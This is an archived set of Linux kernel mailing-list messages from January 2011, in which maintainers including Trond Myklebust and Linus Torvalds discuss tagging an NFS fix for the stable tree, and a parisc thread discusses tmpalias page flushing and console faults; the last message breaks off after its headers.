	 <1294427467.4895.66.camel@mulgrave.site>
	 <1294505384.4181.14.camel@heimdal.trondhjem.org>
	 <1294528551.4181.19.camel@heimdal.trondhjem.org>
	 <20110110105019.GC24920@pengutronix.de>
	 <1294676734.3349.10.camel@heimdal.trondhjem.org>
	 <4D2B3D03.8050504@pengutronix.de>
	 <1294680035.3349.19.camel@heimdal.trondhjem.org>
	 <20110110192552.GG24920@pengutronix.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1294687783 14899 80.91.229.12 (10 Jan 2011 19:29:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 19:29:43 +0000 (UTC)
Cc: Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	Marc Kleine-Budde <m.kleine-budde-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Jan 10 20:29:37 2011
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1PcNQu-00063G-T2
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Mon, 10 Jan 2011 20:29:37 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753800Ab1AJT3d convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glN-linux-nfs@m.gmane.org>); Mon, 10 Jan 2011 14:29:33 -0500
Original-Received: from mx2.netapp.com ([216.240.18.37]:65371 "EHLO mx2.netapp.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751606Ab1AJT3c convert rfc822-to-8bit (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 10 Jan 2011 14:29:32 -0500
X-IronPort-AV: E=Sophos;i="4.60,302,1291622400"; 
   d="scan'208";a="503675048"
Original-Received: from smtp2.corp.netapp.com ([10.57.159.114])
  by mx2-out.netapp.com with ESMTP; 10 Jan 2011 11:29:29 -0800
Original-Received: from svlrsexc1-prd.hq.netapp.com (svlrsexc1-prd.hq.netapp.com [10.57.115.30])
	by smtp2.corp.netapp.com (8.13.1/8.13.1/NTAP-1.6) with ESMTP id p0AJTTkL002548;
	Mon, 10 Jan 2011 11:29:29 -0800 (PST)
Original-Received: from SACMVEXC2-PRD.hq.netapp.com ([10.99.115.18]) by svlrsexc1-prd.hq.netapp.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Mon, 10 Jan 2011 11:29:29 -0800
Original-Received: from 10.58.52.63 ([10.58.52.63]) by SACMVEXC2-PRD.hq.netapp.com ([10.99.115.16]) with Microsoft Exchange Server HTTP-DAV ;
 Mon, 10 Jan 2011 19:29:28 +0000
Original-Received: from heimdal.trondhjem.org by SACMVEXC2-PRD.hq.netapp.com; 10 Jan 2011 14:29:27 -0500
In-Reply-To: <20110110192552.GG24920-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>
X-Mailer: Evolution 2.32.1 (2.32.1-1.fc14) 
X-OriginalArrivalTime: 10 Jan 2011 19:29:29.0630 (UTC) FILETIME=[B34853E0:01CBB0FC]
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:38120 gmane.linux.kernel.cross-arch:8765 gmane.linux.ports.parisc:3370 gmane.linux.kernel:1085793 gmane.linux.ports.arm.kernel:102044
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/38120>

On Mon, 2011-01-10 at 20:25 +0100, Uwe Kleine-K=C3=B6nig wrote:=20
> Hello Trond,
>=20
> On Mon, Jan 10, 2011 at 12:20:35PM -0500, Trond Myklebust wrote:
> > On Mon, 2011-01-10 at 18:08 +0100, Marc Kleine-Budde wrote:=20
> > > On 01/10/2011 05:25 PM, Trond Myklebust wrote:
> > > > On Mon, 2011-01-10 at 11:50 +0100, Uwe Kleine-K=C3=B6nig wrote:=
=20
> > > >> Hi Trond,
> > > >>
> > > >> On Sat, Jan 08, 2011 at 06:15:51PM -0500, Trond Myklebust wrot=
e:
> > > >>> -------------------------------------------------------------=
----------------------=20
> > > >> It would be great if you could add a "8<" in the line above ne=
xt time.
> > > >> Then git-am -c does the right thing (at least I think so).
> > > >=20
> > > > Sorry. I wasn't aware of that particular idiom. So something li=
ke
> > > >=20
> > > > 8<------------------------------------------------------------
> > > > From: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
> > > > Subject: .....
> > >=20
> > > Yes.
> > >=20
> > > From "man git-mailinfo":
> > > "A line that mainly consists of scissors (either ">8" or "8<") an=
d
> > > perforation (dash "-")"
> > >=20
> > > BTW:
> > > Is this patch a candidate for stable?
> >=20
> > Yes. I'm planning on sending it to the stable list after Linus merg=
es it
> > into mainline.
> So there is another idiom for you:  just put
>=20
> 	Cc: stable-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org
>=20
> in the S-o-b block and Greg will pick it off "automatically".  (Just =
in
> case you don't know, and if you do, maybe someone else learned
> something.)

I usually do this, but there is a slight problem with that approach:
Greg gets to do all the work of figuring out to which stable kernels
this particular patch applies. In this case, since we're only talking
about the 2.6.37 kernel, I prefer to use the mailing lists.

Cheers
  Trond
--=20
Trond Myklebust
Linux NFS client maintainer

NetApp
Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org
www.netapp.com

--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.arm.kernel
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Mon, 10 Jan 2011 22:31:49 +0300
Lines: 13
Approved: news@gmane.org
Message-ID: <1294687909.6706.885.camel@mulgrave.site>
References: <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
	 <1294426405.2929.23.camel@heimdal.trondhjem.org>
	 <20110107190229.GX31708@n2100.arm.linux.org.uk>
	 <1294427467.4895.66.camel@mulgrave.site>
	 <1294505384.4181.14.camel@heimdal.trondhjem.org>
	 <1294528551.4181.19.camel@heimdal.trondhjem.org>
	 <20110110105019.GC24920@pengutronix.de>
	 <1294676734.3349.10.camel@heimdal.trondhjem.org>
	 <4D2B3D03.8050504@pengutronix.de>
	 <1294680035.3349.19.camel@heimdal.trondhjem.org>
	 <20110110192552.GG24920@pengutronix.de>
	 <1294687767.3349.28.camel@heimdal.trondhjem.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294687955 15888 80.91.229.12 (10 Jan 2011 19:32:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 19:32:35 +0000 (UTC)
Cc: Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	linux-arch@vger.kernel.org, linux-nfs@vger.kernel.org,
	Russell King - ARM Linux <linux@arm.linux.org.uk>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org
To: Trond Myklebust <Trond.Myklebust@netapp.com>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jan 10 20:32:29 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1PcNTg-0007Vi-BW
	for glka-linux-arch@lo.gmane.org; Mon, 10 Jan 2011 20:32:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754328Ab1AJTb4 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 10 Jan 2011 14:31:56 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48942 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754325Ab1AJTbz (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Mon, 10 Jan 2011 14:31:55 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id EE6E08EE0FD;
	Mon, 10 Jan 2011 11:31:54 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id O-PkpZZZ9h6l; Mon, 10 Jan 2011 11:31:54 -0800 (PST)
Original-Received: from [10.1.2.0] (unknown [93.191.19.5])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 2B7418EE0EA;
	Mon, 10 Jan 2011 11:31:51 -0800 (PST)
In-Reply-To: <1294687767.3349.28.camel@heimdal.trondhjem.org>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8766 gmane.linux.nfs:38121 gmane.linux.ports.parisc:3371 gmane.linux.kernel:1085798 gmane.linux.ports.arm.kernel:102045
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8766>

On Mon, 2011-01-10 at 14:29 -0500, Trond Myklebust wrote:
> I usually do this, but there is a slight problem with that approach:
> Greg gets to do all the work of figuring out to which stable kernels
> this particular patch applies. In this case, since we're only talking
> about the 2.6.37 kernel, I prefer to use the mailing lists.

So the non-standard, but accepted way of doing this is

Cc: Stable Tree <stable@kernel.org>	[2.6.37]

James



From - Thu Nov 08 21:06:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Mon, 10 Jan 2011 11:34:49 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <AANLkTinFenq3BEiUQRsxDy6EKwqSM33RcwFG4fs-sXLJ@mail.gmail.com>
References: <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
 <1294426405.2929.23.camel@heimdal.trondhjem.org> <20110107190229.GX31708@n2100.arm.linux.org.uk>
 <1294427467.4895.66.camel@mulgrave.site> <1294505384.4181.14.camel@heimdal.trondhjem.org>
 <1294528551.4181.19.camel@heimdal.trondhjem.org> <20110110105019.GC24920@pengutronix.de>
 <1294676734.3349.10.camel@heimdal.trondhjem.org> <4D2B3D03.8050504@pengutronix.de>
 <1294680035.3349.19.camel@heimdal.trondhjem.org> <20110110192552.GG24920@pengutronix.de>
 <1294687767.3349.28.camel@heimdal.trondhjem.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1294688150 17052 80.91.229.12 (10 Jan 2011 19:35:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 19:35:50 +0000 (UTC)
Cc: =?ISO-8859-1?Q?Uwe_Kleine=2DK=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	linux-arch@vger.kernel.org, linux-nfs@vger.kernel.org,
	Russell King - ARM Linux <linux@arm.linux.org.uk>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org
To: Trond Myklebust <Trond.Myklebust@netapp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 10 20:35:42 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PcNWn-0000pw-FN
	for glpp-linux-parisc@lo.gmane.org; Mon, 10 Jan 2011 20:35:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752398Ab1AJTfk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Jan 2011 14:35:40 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:51372 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751606Ab1AJTfj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Jan 2011 14:35:39 -0500
Original-Received: from mail-iw0-f174.google.com (mail-iw0-f174.google.com [209.85.214.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p0AJZA90022855
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL);
	Mon, 10 Jan 2011 11:35:10 -0800
Original-Received: by iwn9 with SMTP id 9so19482097iwn.19
        for <multiple recipients>; Mon, 10 Jan 2011 11:35:09 -0800 (PST)
Original-Received: by 10.231.32.7 with SMTP id a7mr13165439ibd.16.1294688109735; Mon,
 10 Jan 2011 11:35:09 -0800 (PST)
Original-Received: by 10.231.31.72 with HTTP; Mon, 10 Jan 2011 11:34:49 -0800 (PST)
In-Reply-To: <1294687767.3349.28.camel@heimdal.trondhjem.org>
X-Spam-Status: No, hits=-2.976 required=5 tests=AWL,BAYES_00
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3372 gmane.linux.kernel.cross-arch:8767 gmane.linux.nfs:38122 gmane.linux.kernel:1085802 gmane.linux.ports.arm.kernel:102046
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3372>

2011/1/10 Trond Myklebust <Trond.Myklebust@netapp.com>:
>
> I usually do this, but there is a slight problem with that approach:
> Greg gets to do all the work of figuring out to which stable kernels
> this particular patch applies. In this case, since we're only talking
> about the 2.6.37 kernel, I prefer to use the mailing lists.

Just do

  Cc: stable@kernel.org  [2.6.37]

or similar. It's quite common.

So EVEN IF you want to email people around about the patch separately,
do add the "Cc: stable" marker. It's worthwhile information about the
patch for everybody involved.

                     Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Trond Myklebust <Trond.Myklebust@netapp.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.arm.kernel
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Mon, 10 Jan 2011 15:15:07 -0500
Organization: NetApp Inc
Lines: 29
Approved: news@gmane.org
Message-ID: <1294690507.3349.31.camel@heimdal.trondhjem.org>
References: <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
	 <1294426405.2929.23.camel@heimdal.trondhjem.org>
	 <20110107190229.GX31708@n2100.arm.linux.org.uk>
	 <1294427467.4895.66.camel@mulgrave.site>
	 <1294505384.4181.14.camel@heimdal.trondhjem.org>
	 <1294528551.4181.19.camel@heimdal.trondhjem.org>
	 <20110110105019.GC24920@pengutronix.de>
	 <1294676734.3349.10.camel@heimdal.trondhjem.org>
	 <4D2B3D03.8050504@pengutronix.de>
	 <1294680035.3349.19.camel@heimdal.trondhjem.org>
	 <20110110192552.GG24920@pengutronix.de>
	 <1294687767.3349.28.camel@heimdal.trondhjem.org>
	 <AANLkTinFenq3BEiUQRsxDy6EKwqSM33RcwFG4fs-sXLJ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1294690537 30612 80.91.229.12 (10 Jan 2011 20:15:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 20:15:37 +0000 (UTC)
Cc: Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	linux-arch@vger.kernel.org, linux-nfs@vger.kernel.org,
	Russell King - ARM Linux <linux@arm.linux.org.uk>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jan 10 21:15:30 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1PcO9J-0007SN-BD
	for glka-linux-arch@lo.gmane.org; Mon, 10 Jan 2011 21:15:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754114Ab1AJUP1 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 10 Jan 2011 15:15:27 -0500
Original-Received: from mx2.netapp.com ([216.240.18.37]:3222 "EHLO mx2.netapp.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753767Ab1AJUPZ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Mon, 10 Jan 2011 15:15:25 -0500
X-IronPort-AV: E=Sophos;i="4.60,303,1291622400"; 
   d="scan'208";a="503692992"
Original-Received: from smtp1.corp.netapp.com ([10.57.156.124])
  by mx2-out.netapp.com with ESMTP; 10 Jan 2011 12:15:10 -0800
Original-Received: from sacrsexc2-prd.hq.netapp.com (sacrsexc2-prd.hq.netapp.com [10.99.115.28])
	by smtp1.corp.netapp.com (8.13.1/8.13.1/NTAP-1.6) with ESMTP id p0AKF9FG010798;
	Mon, 10 Jan 2011 12:15:09 -0800 (PST)
Original-Received: from SACMVEXC2-PRD.hq.netapp.com ([10.99.115.18]) by sacrsexc2-prd.hq.netapp.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Mon, 10 Jan 2011 12:15:09 -0800
Original-Received: from 10.58.52.63 ([10.58.52.63]) by SACMVEXC2-PRD.hq.netapp.com ([10.99.115.16]) with Microsoft Exchange Server HTTP-DAV ;
 Mon, 10 Jan 2011 20:15:08 +0000
Original-Received: from heimdal.trondhjem.org by SACMVEXC2-PRD.hq.netapp.com; 10 Jan 2011 15:15:08 -0500
In-Reply-To: <AANLkTinFenq3BEiUQRsxDy6EKwqSM33RcwFG4fs-sXLJ@mail.gmail.com>
X-Mailer: Evolution 2.32.1 (2.32.1-1.fc14) 
X-OriginalArrivalTime: 10 Jan 2011 20:15:09.0823 (UTC) FILETIME=[149098F0:01CBB103]
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8768 gmane.linux.nfs:38124 gmane.linux.ports.parisc:3373 gmane.linux.kernel:1085821 gmane.linux.ports.arm.kernel:102047
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8768>

On Mon, 2011-01-10 at 11:34 -0800, Linus Torvalds wrote: 
> 2011/1/10 Trond Myklebust <Trond.Myklebust@netapp.com>:
> >
> > I usually do this, but there is a slight problem with that approach:
> > Greg gets to do all the work of figuring out to which stable kernels
> > this particular patch applies. In this case, since we're only talking
> > about the 2.6.37 kernel, I prefer to use the mailing lists.
> 
> Just do
> 
>   Cc: stable@kernel.org  [2.6.37]
> 
> or similar. It's quite common.
> 
> So EVEN IF you want to email people around about the patch separately,
> do add the "Cc: stable" marker. It's worthwhile information about the
> patch for everybody involved.

OK. Patch description amended and recommitted in git. Thanks to all for
the tips...

-- 
Trond Myklebust
Linux NFS client maintainer

NetApp
Trond.Myklebust@netapp.com
www.netapp.com


From - Thu Nov 08 21:06:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Mon, 10 Jan 2011 23:44:42 +0300
Lines: 50
Approved: news@gmane.org
Message-ID: <1294692282.6706.959.camel@mulgrave.site>
References: <1293034931.3019.8.camel@mulgrave.site>
	 <20110109215207.GA29305@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294692294 8057 80.91.229.12 (10 Jan 2011 20:44:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 20:44:54 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 10 21:44:50 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PcObh-0006jZ-Vq
	for glpp-linux-parisc@lo.gmane.org; Mon, 10 Jan 2011 21:44:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754418Ab1AJUot (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Jan 2011 15:44:49 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40211 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753990Ab1AJUos (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Jan 2011 15:44:48 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3524F8EE0FD;
	Mon, 10 Jan 2011 12:44:48 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id YdRyVXvTUGYt; Mon, 10 Jan 2011 12:44:48 -0800 (PST)
Original-Received: from [10.1.2.0] (unknown [93.191.19.5])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 408398EE0EA;
	Mon, 10 Jan 2011 12:44:47 -0800 (PST)
In-Reply-To: <20110109215207.GA29305@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3374
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3374>

On Sun, 2011-01-09 at 16:52 -0500, John David Anglin wrote:
> On Wed, 22 Dec 2010, James Bottomley wrote:
> > The kernel has an 8M tmpailas space (originally designed for copying
> > and clearing pages but now only used for clearing).  The idea is
> > to place zeros into the cache above a physical page rather than into
> > the physical page and flush the cache, because often the zeros end up
> > being replaced quickly anyway.
> > 
> > We can also use the tmpalias space for flushing a page.  The difference
> > here is that we have to do tmpalias processing in the non access data and
> > instruction traps.  The principle is the same: as long as we know the physical
> > address and have a virtual address congruent to the real one, the flush will
> > be effective.
> > 
> > In order to use the tmpalias space, the icache miss path has to be enhanced to
> > check for the alias region to make the fic instruction effective.
> 
> Since I began testing this change, I have started seeing problems with the
> console input on gsyprf11 and my rp3440.  If I HUP getty, the console works
> for awhile and then stops working again.  Suspect the "INEQIVALENT ALIAS"
> messages somehow kill the console.  I get a lot of these doing make check
> for GCC from the tests that intentionally generate a segv to test exception
> support.

In theory, the patch is actually stricter than our original flushing
support because it eliminates the ineffective flushes and detects
inequvalent aliases (and flushes all inequivalent addresses).

> I have also had at least one console related HPMC.  Analysis is attached.
> I don't fully understand the actual cause of the HPMC (buffer overrun?).
> The kernel was built with GCC 4.5.3.  The faulting instruction appears
> to have the base and index interchanged, although this shouldn't affect
> linux.  I thought this issue was fixed as a fair bit of work on this was
> done in the middle-end.
> 
> I have to say that gsyprf11 running a SMP kernel built with 4.5.3 is
> more stable with your change than it has been for a long time.

So I'm not sure what to make of this ... any memory fault shouldn't
result in a HPMC ... I probably need to decode the HPMC to see what its
saying ... I'll get around to that on the Weekend, hopefully.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Mon, 10 Jan 2011 17:18:09 -0500
Organization: nrc.ca
Lines: 59
Approved: news@gmane.org
Message-ID: <20110110221809.GA4396@hiauly1.hia.nrc.ca>
References: <1293034931.3019.8.camel@mulgrave.site> <20110109215207.GA29305@hiauly1.hia.nrc.ca> <1294692282.6706.959.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1294697898 8036 80.91.229.12 (10 Jan 2011 22:18:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 22:18:18 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 10 23:18:13 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
